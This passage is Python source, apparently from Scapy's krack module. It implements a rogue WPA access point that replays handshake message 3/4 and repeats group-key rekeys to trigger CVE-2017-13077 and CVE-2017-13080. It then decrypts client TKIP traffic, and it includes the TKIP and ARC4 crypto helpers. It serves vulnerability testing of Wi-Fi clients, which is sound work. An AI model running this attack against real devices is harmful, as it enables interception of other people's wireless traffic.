self.mic_ap_to_group = self.gtk_full[16:24] # Reset IV self.group_iv = count() # Packet utils def build_ap_info_pkt(self, layer_cls, dest): """Build a packet with info describing the current AP For beacon / proberesp use """ ts = int(time.time() * 1e6) & 0xffffffffffffffff return RadioTap() \ / Dot11(addr1=dest, addr2=self.mac, addr3=self.mac) \ / layer_cls(timestamp=ts, beacon_interval=100, cap='ESS+privacy') \ / Dot11Elt(ID="SSID", info=self.ssid) \ / Dot11EltRates(rates=[130, 132, 139, 150, 12, 18, 24, 36]) \ / Dot11EltDSSSet(channel=self.channel) \ / Dot11EltRSN(group_cipher_suite=RSNCipherSuite(cipher=0x2), pairwise_cipher_suites=[RSNCipherSuite(cipher=0x2)], akm_suites=[AKMSuite(suite=0x2)]) @staticmethod def build_EAPOL_Key_8021X2004( key_information, replay_counter, nonce, data=None, key_mic=None, key_data_encrypt=None, key_rsc=0, key_id=0, key_descriptor_type=2, # EAPOL RSN Key ): pkt = EAPOL(version="802.1X-2004", type="EAPOL-Key") key_iv = KrackAP.gen_nonce(16) assert key_rsc == 0 # Other values unsupported assert key_id == 0 # Other values unsupported payload = b"".join([ chb(key_descriptor_type), struct.pack(">H", key_information), b'\x00\x20', # Key length struct.pack(">Q", replay_counter), nonce, key_iv, struct.pack(">Q", key_rsc), struct.pack(">Q", key_id), ]) # MIC field is set to 0's during MIC computation offset_MIC = len(payload) payload += b'\x00' * 0x10 if data is None and key_mic is None and key_data_encrypt is None: # If key is unknown and there is no data, no MIC is needed # Example: handshake 1/4 payload += b'\x00' * 2 # Length return pkt / Raw(load=payload) assert data is not None assert key_mic is not None assert key_data_encrypt is not None # Skip 256 first bytes # REF: 802.11i 8.5.2 # Key Descriptor Version 1: # ... # No padding shall be used. The encryption key is generated by # concatenating the EAPOL-Key IV field and the KEK. The first 256 octets # noqa: E501 # of the RC4 key stream shall be discarded following RC4 stream cipher # initialization with the KEK, and encryption begins using the 257th key # noqa: E501 # stream octet. enc_data = ARC4_encrypt(key_iv + key_data_encrypt, data, skip=256) payload += struct.pack(">H", len(data)) payload += enc_data # Compute MIC and set at the right place temp_mic = pkt.copy() temp_mic /= Raw(load=payload) to_mic = raw(temp_mic[EAPOL]) mic = hmac.new(key_mic, to_mic, hashlib.md5).digest() final_payload = payload[:offset_MIC] + mic + payload[offset_MIC + len(mic):] # noqa: E501 assert len(final_payload) == len(payload) return pkt / Raw(load=final_payload) def build_GTK_KDE(self): """Build the Key Data Encapsulation for GTK KeyID: 0 Ref: 802.11i p81 """ return b''.join([ b'\xdd', # Type KDE chb(len(self.gtk_full) + 6), b'\x00\x0f\xac', # OUI b'\x01', # GTK KDE b'\x00\x00', # KeyID - Tx - Reserved x2 self.gtk_full, ]) def send_wpa_enc(self, data, iv, seqnum, dest, mic_key, key_idx=0, additionnal_flag=["from_DS"], encrypt_key=None): """Send an encrypted packet with content @data, using IV @iv, sequence number @seqnum, MIC key @mic_key """ if encrypt_key is None: encrypt_key = self.tk rep = RadioTap() rep /= Dot11( addr1=dest, addr2=self.mac, addr3=self.mac, FCfield="+".join(['protected'] + additionnal_flag), SC=(next(self.seq_num) << 4), subtype=0, type="Data", ) # Assume packet is send by our AP -> use self.mac as source # Encapsule in TKIP with MIC Michael and ICV data_to_enc = build_MIC_ICV(raw(data), mic_key, self.mac, dest) # Header TKIP + payload rep /= Raw(build_TKIP_payload(data_to_enc, iv, self.mac, encrypt_key)) self.send(rep) return rep def send_wpa_to_client(self, data, **kwargs): kwargs.setdefault("encrypt_key", self.tk) return self.send_wpa_enc(data, next(self.client_iv), next(self.seq_num), self.client, self.mic_ap_to_sta, **kwargs) def send_wpa_to_group(self, data, dest="ff:ff:ff:ff:ff:ff", **kwargs): kwargs.setdefault("encrypt_key", self.gtk) return self.send_wpa_enc(data, next(self.group_iv), next(self.seq_num), dest, self.mic_ap_to_group, **kwargs) def send_ether_over_wpa(self, pkt, **kwargs): """Send an Ethernet packet using the WPA channel Extra arguments will be ignored, and are just left for compatibility """ payload = LLC() / SNAP() / pkt[Ether].payload dest = pkt.dst if dest == "ff:ff:ff:ff:ff:ff": self.send_wpa_to_group(payload, dest) else: assert dest == self.client self.send_wpa_to_client(payload) def deal_common_pkt(self, pkt): # Send to DHCP server # LLC / SNAP to Ether if SNAP in pkt: ether_pkt = Ether(src=self.client, dst=self.mac) / pkt[SNAP].payload # noqa: E501 self.dhcp_server.reply(ether_pkt) # If an ARP request is made, extract client IP and answer if ARP in pkt and \ pkt[ARP].op == 1 and pkt[ARP].pdst == self.dhcp_server.gw: if self.arp_target_ip is None: self.arp_target_ip = pkt[ARP].psrc log_runtime.info("Detected IP: %s", self.arp_target_ip) # Reply ARP_ans = LLC() / SNAP() / ARP( op="is-at", psrc=self.arp_source_ip, pdst=self.arp_target_ip, hwsrc=self.mac, hwdst=self.client, ) self.send_wpa_to_client(ARP_ans) # States @ATMT.state(initial=True) def WAIT_AUTH_REQUEST(self): log_runtime.debug("State WAIT_AUTH_REQUEST") @ATMT.state() def AUTH_RESPONSE_SENT(self): log_runtime.debug("State AUTH_RESPONSE_SENT") @ATMT.state() def ASSOC_RESPONSE_SENT(self): log_runtime.debug("State ASSOC_RESPONSE_SENT") @ATMT.state() def WPA_HANDSHAKE_STEP_1_SENT(self): log_runtime.debug("State WPA_HANDSHAKE_STEP_1_SENT") @ATMT.state() def WPA_HANDSHAKE_STEP_3_SENT(self): log_runtime.debug("State WPA_HANDSHAKE_STEP_3_SENT") @ATMT.state() def KRACK_DISPATCHER(self): log_runtime.debug("State KRACK_DISPATCHER") @ATMT.state() def ANALYZE_DATA(self): log_runtime.debug("State ANALYZE_DATA") @ATMT.timeout(ANALYZE_DATA, 1) def timeout_analyze_data(self): raise self.KRACK_DISPATCHER() @ATMT.state() def RENEW_GTK(self): log_runtime.debug("State RENEW_GTK") @ATMT.state() def WAIT_GTK_ACCEPT(self): log_runtime.debug("State WAIT_GTK_ACCEPT") @ATMT.state() def WAIT_ARP_REPLIES(self): log_runtime.debug("State WAIT_ARP_REPLIES") @ATMT.state(final=1) def EXIT(self): log_runtime.debug("State EXIT") @ATMT.timeout(WAIT_GTK_ACCEPT, 1) def timeout_wait_gtk_accept(self): raise self.RENEW_GTK() @ATMT.timeout(WAIT_AUTH_REQUEST, 0.1) def timeout_waiting(self): raise self.WAIT_AUTH_REQUEST() @ATMT.action(timeout_waiting) def send_beacon(self): log_runtime.debug("Send a beacon") rep = self.build_ap_info_pkt(Dot11Beacon, dest="ff:ff:ff:ff:ff:ff") self.send(rep) @ATMT.receive_condition(WAIT_AUTH_REQUEST) def probe_request_received(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return if Dot11ProbeReq in pkt and pkt[Dot11Elt::{'ID': 0}].info == self.ssid: raise self.WAIT_AUTH_REQUEST().action_parameters(pkt) @ATMT.action(probe_request_received) def send_probe_response(self, pkt): rep = self.build_ap_info_pkt(Dot11ProbeResp, dest=pkt.addr2) self.send(rep) @ATMT.receive_condition(WAIT_AUTH_REQUEST) def authent_received(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return if Dot11Auth in pkt and pkt.addr1 == pkt.addr3 == self.mac: raise self.AUTH_RESPONSE_SENT().action_parameters(pkt) @ATMT.action(authent_received) def send_auth_response(self, pkt): # Save client MAC for later self.client = pkt.addr2 log_runtime.warning("Client %s connected!", self.client) # Launch DHCP Server self.dhcp_server() rep = RadioTap() rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac) rep /= Dot11Auth(seqnum=2, algo=pkt[Dot11Auth].algo, status=pkt[Dot11Auth].status) self.send(rep) @ATMT.receive_condition(AUTH_RESPONSE_SENT) def assoc_received(self, pkt): if Dot11AssoReq in pkt and pkt.addr1 == pkt.addr3 == self.mac and \ pkt[Dot11Elt::{'ID': 0}].info == self.ssid: raise self.ASSOC_RESPONSE_SENT().action_parameters(pkt) @ATMT.action(assoc_received) def send_assoc_response(self, pkt): # Get RSN info temp_pkt = pkt[Dot11Elt::{"ID": 48}].copy() temp_pkt.remove_payload() self.RSN = raw(temp_pkt) # Avoid 802.11w, etc. (deactivate RSN capabilities) self.RSN = self.RSN[:-2] + b"\x00\x00" rep = RadioTap() rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac) rep /= Dot11AssoResp() rep /= Dot11EltRates(rates=[130, 132, 139, 150, 12, 18, 24, 36]) self.send(rep) @ATMT.condition(ASSOC_RESPONSE_SENT) def assoc_sent(self): raise self.WPA_HANDSHAKE_STEP_1_SENT() @ATMT.action(assoc_sent) def send_wpa_handshake_1(self): self.anonce = self.gen_nonce(32) rep = RadioTap() rep /= Dot11( addr1=self.client, addr2=self.mac, addr3=self.mac, FCfield='from_DS', SC=(next(self.seq_num) << 4), ) rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3) rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication rep /= self.build_EAPOL_Key_8021X2004( key_information=0x89, replay_counter=next(self.replay_counter), nonce=self.anonce, ) self.send(rep) @ATMT.receive_condition(WPA_HANDSHAKE_STEP_1_SENT) def wpa_handshake_1_sent(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \ pkt[EAPOL].load[1:2] == b"\x01": # Key MIC: set, Secure / Error / Request / Encrypted / SMK # message: not set raise self.WPA_HANDSHAKE_STEP_3_SENT().action_parameters(pkt) @ATMT.action(wpa_handshake_1_sent) def send_wpa_handshake_3(self, pkt): # Both nonce have been exchanged, install keys client_nonce = pkt[EAPOL].load[13:13 + 0x20] self.install_unicast_keys(client_nonce) # Check client MIC # Data: full message with MIC place replaced by 0s # https://stackoverflow.com/questions/15133797/creating-wpa-message-integrity-code-mic-with-python client_mic = pkt[EAPOL].load[77:77 + 16] client_data = raw(pkt[EAPOL]).replace(client_mic, b"\x00" * len(client_mic)) # noqa: E501 assert hmac.new(self.kck, client_data, hashlib.md5).digest() == client_mic # noqa: E501 rep = RadioTap() rep /= Dot11( addr1=self.client, addr2=self.mac, addr3=self.mac, FCfield='from_DS', SC=(next(self.seq_num) << 4), ) rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3) rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication self.install_GTK() data = self.RSN data += self.build_GTK_KDE() eap = self.build_EAPOL_Key_8021X2004( key_information=0x13c9, replay_counter=next(self.replay_counter), nonce=self.anonce, data=data, key_mic=self.kck, key_data_encrypt=self.kek, ) self.send(rep / eap) @ATMT.receive_condition(WPA_HANDSHAKE_STEP_3_SENT) def wpa_handshake_3_sent(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \ pkt[EAPOL].load[1:3] == b"\x03\x09": self.time_handshake_end = time.time() raise self.KRACK_DISPATCHER() @ATMT.condition(KRACK_DISPATCHER) def krack_dispatch(self): now = time.time() # Handshake 3/4 replay if self.double_3handshake and (self.krack_state & 1 == 0) and \ (now - self.time_handshake_end) > self.wait_3handshake: log_runtime.info("Trying to trigger CVE-2017-13077") raise self.ANALYZE_DATA().action_parameters(send_3handshake=True) # GTK rekeying if (self.krack_state & 2 == 0) and \ (now - self.time_handshake_end) > self.wait_gtk: raise self.ANALYZE_DATA().action_parameters(send_gtk=True) # Fallback in data analysis raise self.ANALYZE_DATA().action_parameters() @ATMT.action(krack_dispatch) def krack_proceed(self, send_3handshake=False, send_gtk=False): if send_3handshake: rep = RadioTap() rep /= Dot11( addr1=self.client, addr2=self.mac, addr3=self.mac, FCfield='from_DS', SC=(next(self.seq_num) << 4), subtype=0, type="Data", ) rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3) rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication data = self.RSN data += self.build_GTK_KDE() eap_2 = self.build_EAPOL_Key_8021X2004( # Key information 0x13c9: # ARC4 HMAC-MD5, Pairwise Key, Install, KEY ACK, KEY MIC, Secure, # noqa: E501 # Encrypted, SMK key_information=0x13c9, replay_counter=next(self.replay_counter), nonce=self.anonce, data=data, key_mic=self.kck, key_data_encrypt=self.kek, ) rep /= eap_2 if self.encrypt_3handshake: self.send_wpa_to_client(rep[LLC]) else: self.send(rep) self.krack_state |= 1 if send_gtk: self.krack_state |= 2 # Renew the GTK self.install_GTK() raise self.RENEW_GTK() @ATMT.receive_condition(ANALYZE_DATA) def get_data(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return # Skip retries if pkt[Dot11].FCfield.retry: return # Skip unencrypted frames (TKIP rely on encrypted packets) if not pkt[Dot11].FCfield.protected: return # Dot11.type 2: Data if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac: # Do not check pkt.addr3, frame can be broadcast raise self.KRACK_DISPATCHER().action_parameters(pkt) @ATMT.action(get_data) def extract_iv(self, pkt): # Get IV TSC, _, _ = parse_TKIP_hdr(pkt) iv = TSC[0] | (TSC[1] << 8) | (TSC[2] << 16) | (TSC[3] << 24) | \ (TSC[4] << 32) | (TSC[5] << 40) log_runtime.info("Got a packet with IV: %s", hex(iv)) if self.last_iv is None: self.last_iv = iv else: if iv <= self.last_iv: log_runtime.warning("IV reuse!! Client seems to be " "vulnerable to handshake 3/4 replay " "(CVE-2017-13077)" ) data_clear = None # Normal decoding data = parse_data_pkt(pkt, self.tk) try: data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2, pkt.addr3) except (ICVError, MICError): pass # Decoding with a 0's TK if data_clear is None: data = parse_data_pkt(pkt, b"\x00" * len(self.tk)) try: mic_key = b"\x00" * len(self.mic_sta_to_ap) data_clear = check_MIC_ICV(data, mic_key, pkt.addr2, pkt.addr3) log_runtime.warning("Client has installed an all zero " "encryption key (TK)!!") except (ICVError, MICError): pass if data_clear is None: log_runtime.warning("Unable to decode the packet, something went " "wrong") log_runtime.debug(hexdump(pkt, dump=True)) self.deal_common_pkt(pkt) return log_runtime.debug(hexdump(data_clear, dump=True)) pkt = LLC(data_clear) log_runtime.debug(repr(pkt)) self.deal_common_pkt(pkt) @ATMT.condition(RENEW_GTK) def gtk_pkt_1(self): raise self.WAIT_GTK_ACCEPT() @ATMT.action(gtk_pkt_1) def send_renew_gtk(self): rep_to_enc = LLC(dsap=0xaa, ssap=0xaa, ctrl=3) rep_to_enc /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication data = self.build_GTK_KDE() eap = self.build_EAPOL_Key_8021X2004( # Key information 0x1381: # ARC4 HMAC-MD5, Group Key, KEY ACK, KEY MIC, Secure, Encrypted, # SMK key_information=0x1381, replay_counter=next(self.replay_counter), nonce=self.anonce, data=data, key_mic=self.kck, key_data_encrypt=self.kek, ) rep_to_enc /= eap self.send_wpa_to_client(rep_to_enc) @ATMT.receive_condition(WAIT_GTK_ACCEPT) def get_gtk_2(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return # Skip retries if pkt[Dot11].FCfield.retry: return # Skip unencrypted frames (TKIP rely on encrypted packets) if not pkt[Dot11].FCfield.protected: return # Normal decoding try: data = parse_data_pkt(pkt, self.tk) except ValueError: return try: data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2, pkt.addr3) except (ICVError, MICError): return pkt_clear = LLC(data_clear) if EAPOL in pkt_clear and pkt.addr1 == pkt.addr3 == self.mac and \ pkt_clear[EAPOL].load[1:3] == b"\x03\x01": raise self.WAIT_ARP_REPLIES() @ATMT.action(get_gtk_2) def send_arp_req(self): if self.krack_state & 4 == 0: # Set the address for future uses self.arp_target_ip = self.dhcp_server.leases.get(self.client, self.arp_target_ip) # noqa: E501 assert self.arp_target_ip is not None # Send the first ARP requests, for control test log_runtime.info("Send ARP who-was from '%s' to '%s'", self.arp_source_ip, self.arp_target_ip) arp_pkt = self.send_wpa_to_group( LLC() / SNAP() / ARP(op="who-has", psrc=self.arp_source_ip, pdst=self.arp_target_ip, hwsrc=self.mac), dest='ff:ff:ff:ff:ff:ff', ) self.arp_sent.append(arp_pkt) else: if self.arp_to_send < len(self.arp_sent): # Re-send the ARP requests already sent self.send(self.arp_sent[self.arp_to_send]) self.arp_to_send += 1 else: # Re-send GTK self.arp_to_send = 0 self.arp_retry += 1 log_runtime.info("Trying to trigger CVE-2017-13080 %d/%d", self.arp_retry, self.ARP_MAX_RETRY) if self.arp_retry > self.ARP_MAX_RETRY: # We retries 100 times to send GTK, then already sent ARPs log_runtime.warning("Client is likely not vulnerable to " "CVE-2017-13080") raise self.EXIT() raise self.RENEW_GTK() @ATMT.timeout(WAIT_ARP_REPLIES, 0.5) def resend_arp_req(self): self.send_arp_req() raise self.WAIT_ARP_REPLIES() @ATMT.receive_condition(WAIT_ARP_REPLIES) def get_arp(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return # Skip retries if pkt[Dot11].FCfield.retry: return # Skip unencrypted frames (TKIP rely on encrypted packets) if not pkt[Dot11].FCfield.protected: return # Dot11.type 2: Data if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac: # Do not check pkt.addr3, frame can be broadcast raise self.WAIT_ARP_REPLIES().action_parameters(pkt) @ATMT.action(get_arp) def check_arp_reply(self, pkt): data = parse_data_pkt(pkt, self.tk) try: data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2, pkt.addr3) except (ICVError, MICError): return decoded_pkt = LLC(data_clear) log_runtime.debug(hexdump(decoded_pkt, dump=True)) log_runtime.debug(repr(decoded_pkt)) self.deal_common_pkt(decoded_pkt) if ARP not in decoded_pkt: return # ARP.op 2: is-at if decoded_pkt[ARP].op == 2 and \ decoded_pkt[ARP].psrc == self.arp_target_ip and \ decoded_pkt[ARP].pdst == self.arp_source_ip: # Got the expected ARP if self.krack_state & 4 == 0: # First time, normal behavior log_runtime.info("Got ARP reply, this is normal") self.krack_state |= 4 log_runtime.info("Trying to trigger CVE-2017-13080") raise self.RENEW_GTK() else: # Second time, the packet has been accepted twice! log_runtime.warning("Broadcast packet accepted twice!! " "(CVE-2017-13080)") ================================================ FILE: scapy/modules/krack/crypto.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information import hashlib import hmac from struct import unpack, pack from zlib import crc32 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms from cryptography.hazmat.backends import default_backend from scapy.compat import orb, chb from scapy.layers.dot11 import Dot11TKIP from scapy.utils import mac2str # ARC4 def ARC4_encrypt(key, data, skip=0): """Encrypt data @data with key @key, skipping @skip first bytes of the keystream""" algorithm = algorithms.ARC4(key) cipher = Cipher(algorithm, mode=None, backend=default_backend()) encryptor = cipher.encryptor() if skip: encryptor.update(b"\x00" * skip) return encryptor.update(data) def ARC4_decrypt(key, data, skip=0): """Decrypt data @data with key @key, skipping @skip first bytes of the keystream""" return ARC4_encrypt(key, data, skip) # Custom WPA PseudoRandomFunction def customPRF512(key, amac, smac, anonce, snonce): """Source https://stackoverflow.com/questions/12018920/""" A = b"Pairwise key expansion" B = b"".join(sorted([amac, smac]) + sorted([anonce, snonce])) blen = 64 i = 0 R = b'' while i <= ((blen * 8 + 159) // 160): hmacsha1 = hmac.new(key, A + chb(0x00) + B + chb(i), hashlib.sha1) i += 1 R = R + hmacsha1.digest() return R[:blen] # TKIP - WEPSeed generation # Tested against pyDot11: tkip.py # 802.11i p.53-54 _SBOXS = [ [ 0xC6A5, 0xF884, 0xEE99, 0xF68D, 0xFF0D, 0xD6BD, 0xDEB1, 0x9154, 0x6050, 0x0203, 0xCEA9, 0x567D, 0xE719, 0xB562, 0x4DE6, 0xEC9A, 0x8F45, 0x1F9D, 0x8940, 0xFA87, 0xEF15, 0xB2EB, 0x8EC9, 0xFB0B, 0x41EC, 0xB367, 0x5FFD, 0x45EA, 0x23BF, 0x53F7, 0xE496, 0x9B5B, 0x75C2, 0xE11C, 0x3DAE, 0x4C6A, 0x6C5A, 0x7E41, 0xF502, 0x834F, 0x685C, 0x51F4, 0xD134, 0xF908, 0xE293, 0xAB73, 0x6253, 0x2A3F, 0x080C, 0x9552, 0x4665, 0x9D5E, 0x3028, 0x37A1, 0x0A0F, 0x2FB5, 0x0E09, 0x2436, 0x1B9B, 0xDF3D, 0xCD26, 0x4E69, 0x7FCD, 0xEA9F, 0x121B, 0x1D9E, 0x5874, 0x342E, 0x362D, 0xDCB2, 0xB4EE, 0x5BFB, 0xA4F6, 0x764D, 0xB761, 0x7DCE, 0x527B, 0xDD3E, 0x5E71, 0x1397, 0xA6F5, 0xB968, 0x0000, 0xC12C, 0x4060, 0xE31F, 0x79C8, 0xB6ED, 0xD4BE, 0x8D46, 0x67D9, 0x724B, 0x94DE, 0x98D4, 0xB0E8, 0x854A, 0xBB6B, 0xC52A, 0x4FE5, 0xED16, 0x86C5, 0x9AD7, 0x6655, 0x1194, 0x8ACF, 0xE910, 0x0406, 0xFE81, 0xA0F0, 0x7844, 0x25BA, 0x4BE3, 0xA2F3, 0x5DFE, 0x80C0, 0x058A, 0x3FAD, 0x21BC, 0x7048, 0xF104, 0x63DF, 0x77C1, 0xAF75, 0x4263, 0x2030, 0xE51A, 0xFD0E, 0xBF6D, 0x814C, 0x1814, 0x2635, 0xC32F, 0xBEE1, 0x35A2, 0x88CC, 0x2E39, 0x9357, 0x55F2, 0xFC82, 0x7A47, 0xC8AC, 0xBAE7, 0x322B, 0xE695, 0xC0A0, 0x1998, 0x9ED1, 0xA37F, 0x4466, 0x547E, 0x3BAB, 0x0B83, 0x8CCA, 0xC729, 0x6BD3, 0x283C, 0xA779, 0xBCE2, 0x161D, 0xAD76, 0xDB3B, 0x6456, 0x744E, 0x141E, 0x92DB, 0x0C0A, 0x486C, 0xB8E4, 0x9F5D, 0xBD6E, 0x43EF, 0xC4A6, 0x39A8, 0x31A4, 0xD337, 0xF28B, 0xD532, 0x8B43, 0x6E59, 0xDAB7, 0x018C, 0xB164, 0x9CD2, 0x49E0, 0xD8B4, 0xACFA, 0xF307, 0xCF25, 0xCAAF, 0xF48E, 0x47E9, 0x1018, 0x6FD5, 0xF088, 0x4A6F, 0x5C72, 0x3824, 0x57F1, 0x73C7, 0x9751, 0xCB23, 0xA17C, 0xE89C, 0x3E21, 0x96DD, 0x61DC, 0x0D86, 0x0F85, 0xE090, 0x7C42, 0x71C4, 0xCCAA, 0x90D8, 0x0605, 0xF701, 0x1C12, 0xC2A3, 0x6A5F, 0xAEF9, 0x69D0, 0x1791, 0x9958, 0x3A27, 0x27B9, 0xD938, 0xEB13, 0x2BB3, 0x2233, 0xD2BB, 0xA970, 0x0789, 0x33A7, 0x2DB6, 0x3C22, 0x1592, 0xC920, 0x8749, 0xAAFF, 0x5078, 0xA57A, 0x038F, 0x59F8, 0x0980, 0x1A17, 0x65DA, 0xD731, 0x84C6, 0xD0B8, 0x82C3, 0x29B0, 0x5A77, 0x1E11, 0x7BCB, 0xA8FC, 0x6DD6, 0x2C3A ], [ 0xA5C6, 0x84F8, 0x99EE, 0x8DF6, 0x0DFF, 0xBDD6, 0xB1DE, 0x5491, 0x5060, 0x0302, 0xA9CE, 0x7D56, 0x19E7, 0x62B5, 0xE64D, 0x9AEC, 0x458F, 0x9D1F, 0x4089, 0x87FA, 0x15EF, 0xEBB2, 0xC98E, 0x0BFB, 0xEC41, 0x67B3, 0xFD5F, 0xEA45, 0xBF23, 0xF753, 0x96E4, 0x5B9B, 0xC275, 0x1CE1, 0xAE3D, 0x6A4C, 0x5A6C, 0x417E, 0x02F5, 0x4F83, 0x5C68, 0xF451, 0x34D1, 0x08F9, 0x93E2, 0x73AB, 0x5362, 0x3F2A, 0x0C08, 0x5295, 0x6546, 0x5E9D, 0x2830, 0xA137, 0x0F0A, 0xB52F, 0x090E, 0x3624, 0x9B1B, 0x3DDF, 0x26CD, 0x694E, 0xCD7F, 0x9FEA, 0x1B12, 0x9E1D, 0x7458, 0x2E34, 0x2D36, 0xB2DC, 0xEEB4, 0xFB5B, 0xF6A4, 0x4D76, 0x61B7, 0xCE7D, 0x7B52, 0x3EDD, 0x715E, 0x9713, 0xF5A6, 0x68B9, 0x0000, 0x2CC1, 0x6040, 0x1FE3, 0xC879, 0xEDB6, 0xBED4, 0x468D, 0xD967, 0x4B72, 0xDE94, 0xD498, 0xE8B0, 0x4A85, 0x6BBB, 0x2AC5, 0xE54F, 0x16ED, 0xC586, 0xD79A, 0x5566, 0x9411, 0xCF8A, 0x10E9, 0x0604, 0x81FE, 0xF0A0, 0x4478, 0xBA25, 0xE34B, 0xF3A2, 0xFE5D, 0xC080, 0x8A05, 0xAD3F, 0xBC21, 0x4870, 0x04F1, 0xDF63, 0xC177, 0x75AF, 0x6342, 0x3020, 0x1AE5, 0x0EFD, 0x6DBF, 0x4C81, 0x1418, 0x3526, 0x2FC3, 0xE1BE, 0xA235, 0xCC88, 0x392E, 0x5793, 0xF255, 0x82FC, 0x477A, 0xACC8, 0xE7BA, 0x2B32, 0x95E6, 0xA0C0, 0x9819, 0xD19E, 0x7FA3, 0x6644, 0x7E54, 0xAB3B, 0x830B, 0xCA8C, 0x29C7, 0xD36B, 0x3C28, 0x79A7, 0xE2BC, 0x1D16, 0x76AD, 0x3BDB, 0x5664, 0x4E74, 0x1E14, 0xDB92, 0x0A0C, 0x6C48, 0xE4B8, 0x5D9F, 0x6EBD, 0xEF43, 0xA6C4, 0xA839, 0xA431, 0x37D3, 0x8BF2, 0x32D5, 0x438B, 0x596E, 0xB7DA, 0x8C01, 0x64B1, 0xD29C, 0xE049, 0xB4D8, 0xFAAC, 0x07F3, 0x25CF, 0xAFCA, 0x8EF4, 0xE947, 0x1810, 0xD56F, 0x88F0, 0x6F4A, 0x725C, 0x2438, 0xF157, 0xC773, 0x5197, 0x23CB, 0x7CA1, 0x9CE8, 0x213E, 0xDD96, 0xDC61, 0x860D, 0x850F, 0x90E0, 0x427C, 0xC471, 0xAACC, 0xD890, 0x0506, 0x01F7, 0x121C, 0xA3C2, 0x5F6A, 0xF9AE, 0xD069, 0x9117, 0x5899, 0x273A, 0xB927, 0x38D9, 0x13EB, 0xB32B, 0x3322, 0xBBD2, 0x70A9, 0x8907, 0xA733, 0xB62D, 0x223C, 0x9215, 0x20C9, 0x4987, 0xFFAA, 0x7850, 0x7AA5, 0x8F03, 0xF859, 0x8009, 0x171A, 0xDA65, 0x31D7, 0xC684, 0xB8D0, 0xC382, 0xB029, 0x775A, 0x111E, 0xCB7B, 0xFCA8, 0xD66D, 0x3A2C ] ] # 802.11i Annex H PHASE1_LOOP_CNT = 8 def _MK16(b1, b2): return (b1 << 8) | b2 def _SBOX16(index): return _SBOXS[0][index & 0xff] ^ _SBOXS[1][(index >> 8)] def _CAST16(value): return value & 0xffff def _RotR1(value): return ((value >> 1) & 0x7fff) | (value << 15) def gen_TKIP_RC4_key(TSC, TA, TK): """Implement TKIP WEPSeed generation TSC: packet IV TA: target addr bytes TK: temporal key """ assert len(TSC) == 6 assert len(TA) == 6 assert len(TK) == 16 assert all(isinstance(x, int) for x in TSC + TA + TK) # Phase 1 # 802.11i p.54 # Phase 1 - Step 1 TTAK = [] TTAK.append(_MK16(TSC[3], TSC[2])) TTAK.append(_MK16(TSC[5], TSC[4])) TTAK.append(_MK16(TA[1], TA[0])) TTAK.append(_MK16(TA[3], TA[2])) TTAK.append(_MK16(TA[5], TA[4])) # Phase 1 - Step 2 for i in range(PHASE1_LOOP_CNT): j = 2 * (i & 1) TTAK[0] = _CAST16(TTAK[0] + _SBOX16(TTAK[4] ^ _MK16(TK[1 + j], TK[0 + j]))) # noqa: E501 TTAK[1] = _CAST16(TTAK[1] + _SBOX16(TTAK[0] ^ _MK16(TK[5 + j], TK[4 + j]))) # noqa: E501 TTAK[2] = _CAST16(TTAK[2] + _SBOX16(TTAK[1] ^ _MK16(TK[9 + j], TK[8 + j]))) # noqa: E501 TTAK[3] = _CAST16(TTAK[3] + _SBOX16(TTAK[2] ^ _MK16(TK[13 + j], TK[12 + j]))) # noqa: E501 TTAK[4] = _CAST16(TTAK[4] + _SBOX16(TTAK[3] ^ _MK16(TK[1 + j], TK[0 + j])) + i) # noqa: E501 # Phase 2 # 802.11i p.56 # Phase 2 - Step 1 PPK = list(TTAK) PPK.append(_CAST16(TTAK[4] + _MK16(TSC[1], TSC[0]))) # Phase 2 - Step 2 PPK[0] = _CAST16(PPK[0] + _SBOX16(PPK[5] ^ _MK16(TK[1], TK[0]))) PPK[1] = _CAST16(PPK[1] + _SBOX16(PPK[0] ^ _MK16(TK[3], TK[2]))) PPK[2] = _CAST16(PPK[2] + _SBOX16(PPK[1] ^ _MK16(TK[5], TK[4]))) PPK[3] = _CAST16(PPK[3] + _SBOX16(PPK[2] ^ _MK16(TK[7], TK[6]))) PPK[4] = _CAST16(PPK[4] + _SBOX16(PPK[3] ^ _MK16(TK[9], TK[8]))) PPK[5] = _CAST16(PPK[5] + _SBOX16(PPK[4] ^ _MK16(TK[11], TK[10]))) PPK[0] = _CAST16(PPK[0] + _RotR1(PPK[5] ^ _MK16(TK[13], TK[12]))) PPK[1] = _CAST16(PPK[1] + _RotR1(PPK[0] ^ _MK16(TK[15], TK[14]))) PPK[2] = _CAST16(PPK[2] + _RotR1(PPK[1])) PPK[3] = _CAST16(PPK[3] + _RotR1(PPK[2])) PPK[4] = _CAST16(PPK[4] + _RotR1(PPK[3])) PPK[5] = _CAST16(PPK[5] + _RotR1(PPK[4])) # Phase 2 - Step 3 WEPSeed = [] WEPSeed.append(TSC[1]) WEPSeed.append((TSC[1] | 0x20) & 0x7f) WEPSeed.append(TSC[0]) WEPSeed.append(((PPK[5] ^ _MK16(TK[1], TK[0])) >> 1) & 0xFF) for i in range(6): WEPSeed.append(PPK[i] & 0xFF) WEPSeed.append(PPK[i] >> 8) assert 